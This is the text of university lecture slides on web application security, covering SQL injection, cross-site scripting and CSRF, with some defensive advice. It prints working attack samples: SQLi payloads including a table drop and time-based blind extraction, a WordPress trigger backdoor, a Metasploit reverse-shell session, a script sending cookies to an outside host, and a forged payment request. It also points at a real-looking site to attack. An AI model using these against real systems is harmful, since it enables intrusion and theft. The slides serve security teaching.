

OSY.SSI [2015] [B]

Internet, Lab 2.

Last week

Logjam!

<https://howssmyssl.com>

<https://weakdh.org>

Debate: what's SSL/TLS good for?

Table of Contents

Summary

Situation

SQL, your best enemy

Basic SQL injections

Advanced SQL injections

Preventing SQLi

XSS, when the Web is the means

Basic XSS

Advanced XSS

Resisting the temptation of XSS

CSRF, confused deputies

Cross-site request forgery

The Twitter worm

And now, let's play

Summary

- ▶ What's a "web site" anyway? What's the attack surface?
- ▶ What are the adversaries, what do they want?
- ▶ Some tools of the trade.

Table of Contents

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Website: a definition

A *website* is the output of a potentially vulnerable program accepting any input from anyone on a network.

Usually running on port 80, therefore, SUID.

Attack surface

As such, it has the same attack surface we've been toying with:

- ▶ Bugs in the software \Rightarrow up to ACE
- ▶ Often: smaller bugs, same effect
- ▶ Internet based \Rightarrow vulnerable to network hacks
- ▶ Especially (but not only) DDoS and MITM

But it has *more*.



user 1



ISPs



user 2




webmeister




database



host





Risk landscape

OWASP Top10 Most Critical Web Application Security Risks

1. **Injection** (Lecture 3 + today)
2. Broken authentication and session management (Lecture 2)
3. **Cross-site scripting** (today)
4. Direct object references
5. Misconfiguration
6. Sensitive data exposure
7. Broken access control (Lecture 2)
8. **Cross-site request forgery** (today)
9. Using vulnerable components (Lecture 3)
10. Unvalidated redirects

Risk landscape (cont'd)

Notes:

- ▶ These are the top 10 in *volume* not in severity.
- ▶ They do not account for other attacks (physical, net, humint, etc.)
- ▶ Some attacks target the host, other target users. What's the priority?
- ▶ We don't consider the trolls, because they have almost full powers here.

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SQL, your best enemy

Principle:

- ▶ SQL DB are queried by commands
- ▶ Commands may include user-supplied data
- ▶ i.e. user-supplied commands

`http://www.youporn.xxx/q?video=17453`

\Rightarrow

`SELECT * FROM videos WHERE (code='17453')`

SQL, your best enemy (cont'd)

```
''); DROP TABLE videos; --
```

⇒

```
SELECT * FROM videos WHERE (code=''); DROP TABLE videos;  
--')
```

Wanna test?

How to test?

- ▶ Option 0: setup a server and SQL db, write a vulnerable page, test it (~ 1hr)
- ▶ Option 1: goto `hack.me` search SQLi and play :) (~ 5mn)
- ▶ Option 2: goto `http://jmhilton.net/sqlinject/create.php` (yay!)
- ▶ Option 3: find a really vulnerable website, e.g.
`http://www.4ips.biz/products.php?id=7` and try it (may be illegal)

Love to hate SQL

- ▶ Search GitHub for `exec($_GET` and feast :)
- ▶ So popular, even J. K. Rowling wrote about it! (The Casual Vacancy)
- ▶ Not restricted to websites !





Love to hate SQL (cont'd)

“Everybody knows that”

Love to hate SQL (cont'd)

“Everybody knows that”

- ▶ CardSystem Solutions 2005 (Visa, American Express)
 - ▶ SQL injection
 - ▶ Full (unencrypted) database leak
 - ▶ Credit card numbers > 43 million identities exposed

Love to hate SQL (cont'd)

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And also: Microsoft, Kaspersky, PBS, UN, Royal Navy, mysql.com (!), TPB...

What to do with SQL injection?

Simple commands

- ▶ Escape scope with ' and comment commands with --

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- ▶ Number of columns with order by <n>

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Simple commands

- ▶ Escape scope with ' and comment commands with --
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- ▶ Number of columns with `order by <n>`
- ▶ Name of columns with `or <column_name> is NULL`

What to do with SQL injection?

Simple commands

- ▶ Escape scope with ' and comment commands with --
- ▶ Bypass conditions with tautologies `1 = 1`
- ▶ Number of columns with `order by <n>`
- ▶ Name of columns with `or <column_name> is NULL`
- ▶ Other tables with `union <query>`

What to do with SQL injection?

Side-channels: Blind SQLi

Example (MySQL) :

```
if ASCII(SUBSTRING(username,1,1)) > 80 waitfor delay '0:0:5'
```

An 8-characters username is transmitted in around 60 requests.
Which may be distributed. To zombies.

What to do with SQL injection?

Blind SQLi: the hacker's way

```
DECLARE @x as int; DECLARE @w as char(6);  
SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohestr  
    (CAST({QUERY} as varbinary(8000))),{POSITION},1));  
SET @w='0:0:' + CAST((((@x+((@x&79)/8)+(@x/64)&15)*2) as char);  
WAITFOR DELAY @w
```

(Mavituna, BH2008)

Nowadays: JHijack, BSQL, themole, Pangolin, sqlmap.py, Havij, Enema, sqlninja, sqlsus, Safe3, SQL Poizon, Burp, Absinthe...

Going further: SQL Backdoors

Reminder (YMMV): SQL procedures

```
delimiter #  
create trigger <trigger_name>  
before <update|insert|delete> on <table_name>  
  for each row begin  
    <your code>  
  end; #  
delimiter ;
```


Going further: SQL Backdoors

Example : WordPress

```
delimiter #
CREATE TRIGGER user_comment BEFORE INSERT ON wp_comments
FOR EACH ROW BEGIN
    IF NEW.comment_content = 'way around the back' THEN
        SELECT user_email FROM wp_users WHERE id=NEW.user_id INTO @email;
        UPDATE wp_users SET user_email=@email WHERE ID=1;
    END IF;
END;#
delimiter ;
```

Activation : post comment “way around the back” ...

Does deleting the table change anything? How to know if a trigger is installed?

To SQL, and beyond!

- ▶ MySQL has a plugin system that can be called from SQL queries
- ▶ PostgreSQL supports snippets written in TCL, Ruby, Perl, Python, and C (!)
- ▶ Microsoft SQL Server... well...

Metasploit

Automated SQLi for Microsoft SQL Server

```
msf >
  use windows/mssql/mssql_payload_sqli
msf exploit(mssql_payload_sqli) >
  set GET_PATH http://192.168.0.1/vulnerable.asp?id=1;[SQLi];--
msf exploit(mssql_payload_sqli) >
  set RHOST 192.168.0.1
msf exploit(mssql_payload_sqli) >
  set PAYLOAD windows/patchupmeterpreter/reverse_tcp
msf exploit(mssql_payload_sqli) >
  set LHOST 192.168.0.2
msf exploit(mssql_payload_sqli) >
  set LPORT 80
msf exploit(mssql_payload_sqli) >
  exploit
```

Gives a remote shell.

Preventing SQLi

A few traditional approaches

- ▶ Using a framework?
- ▶ Not printing SQL errors?
- ▶ Limiting queries per host?
- ▶ Escaping ' and ;?

None of the above is a solution.

Preventing SQLi (cont'd)

More reasonable approaches:

- ▶ Use parametrized queries
- ▶ Least privilege access on the DB (readonly, no SUPER, etc.)
- ▶ Disable all unused commands (waitfor, trigger, etc.)
- ▶ Randomize reply time
- ▶ Don't use SQL

Break

Walk a bit, grab a beer, ask questions

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And now, let's play

Cross-site scripting

Principle: “dynamic” webpages may display user-provided content, i.e. commands.

Consequence: users may attack other users.

Cross-site scripting

XSS does not refer to *all* such attacks:

- ▶ We don't consider file-based attacks (dropbox, etc.)
- ▶ We don't consider phishing attempts
- ▶ We don't even consider browser attacks as such (Flash, etc.)

Essentially: local script attacks (JavaScript mostly).

Cross-site scripting

```
http://foo.bar/q?  
search_terms=lolilol
```

⇒ “Results for: ‘lolilol’ ”

```
http://foo.bar/q?  
search_terms=<script>alert(document.cookie);</script>
```

⇒ “reflected” XSS. Test it! <https://xss-game.appspot.com>

“Hey Nubi, check out this cool video!: [goo.gl/1234](https://www.youtube.com/watch?v=goog1/1234)”

Cross-site scripting

```
http://foo.bar/q?  
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“Hey Nubi, check out this cool video!: goo.gl/1234”

```
http://foo.bar/q?  
search_terms=  
  <script>  
    document.location='http://ecp.xxx/'+document.cookie;  
  </script>
```

Cross-site scripting

Why would we want to do that?

- ▶ Annoy people
- ▶ Steal session cookies (why?)
- ▶ Perform API operations

Note: this requires the victim to click a link. Can we do better?

Stored XSS

Principle: use social networking websites to spread diseases.

- ▶ Find vulnerable page
- ▶ Send a message exploiting the XSS vulnerability
- ▶ ???
- ▶ Profit!

The XSS game level 2.

XSS Worm

- ▶ Find vulnerable page
- ▶ Send a message exploiting the XSS vulnerability
- ▶ Make the exploit send itself
- ▶ ???
- ▶ Profit!

Write your own!

XSS Worm (cont'd)

Quick history:

- ▶ MySpace, 2006 (samy is my hero)
- ▶ Facebook, 2011
- ▶ Twitter, 2009-2014
- ▶ LinkedIn, 2013-2014
- ▶ Steam Community, 7 Mar 2015

Also, automated tools: BeEF, XSS Shell, Backframe, xsscrapy...

XSS Proxy

Principle: inject complex JS tools to control victim's user experience.

- ▶ E.g. <http://xss-proxy.sourceforge.net/> and Jikto
- ▶ MITM in the browser

Resisting the temptation of XSS

- ▶ Data sent by user 1 should not be seen by user 2 unless properly neutralized
- ▶ No printing from url data (resist reflected XSS)
- ▶ Input validation (resist permanent XSS) (it is *hard* because HTML and JavaScript suck)
- ▶ Reduce attack surface: limit Ajax/Flash/Silverlight... use CSP, escape via AntiSamy

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Cross-site request forgery

Principle: some websites use HTTP GET or POST as actual commands, whereby anyone can trigger them.

Example:

`http://www.poney.paris/dothings.php?action=send`

Cross-site request forgery

When the user is already authenticated on a service, *another* website may trigger (page, ad, video, etc.) a CSRF:

```
<img src="//bank.com/pay.php?who=evil&amount=1000/>
```

Detecting CSRF

From the OWASP Top 10 comments:

“To check whether an application is vulnerable, see if any links and forms lack an unpredictable CSRF token. Without such a token, attackers can forge malicious requests.”

(“Unpredictable” really means *server-generated nonce*)

Detecting CSRF (cont'd)

From the OWASP Top 10 comments:

“Note that attackers can also use XSS to defeat **any** automated CSRF defense the application might employ”

(Take good notice)

Where to test it?

- ▶ Make your own vulnerable website
- ▶ Play with `http://google-gruyere.appspot.com/start`
- ▶ Find a vulnerable website and play with it (may be illegal)

Twitter onMouseOver worm

2009 : series of XSS vulns. by @itsmemikeyy (Mikeyy Mooney, USA)

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Twitter warned by @rainbowtwtr on 14 august 2010.

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In less than 5 hrs, 100,000s of accounts affected, incl. celebrities.

Twitter onmouseover worm

Note: this was absolutely harmless, but very noticeable (think shark attack)

Note 2: all kids

Other noticeable CSRFs:

- ▶ YouTube 2014
- ▶ Yahoo! 2014

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'Nuff talking, go hackin'

Goto some of the sites mentioned above and get hacking!

- ▶ <http://sqlzoo.net/hack/>
- ▶ <http://google-gruyere.appspot.com>
- ▶ <https://xss-game.appspot.com>
- ▶ <https://www.hackthissite.org/>

Also, we can talk. Thank you all for taking this course.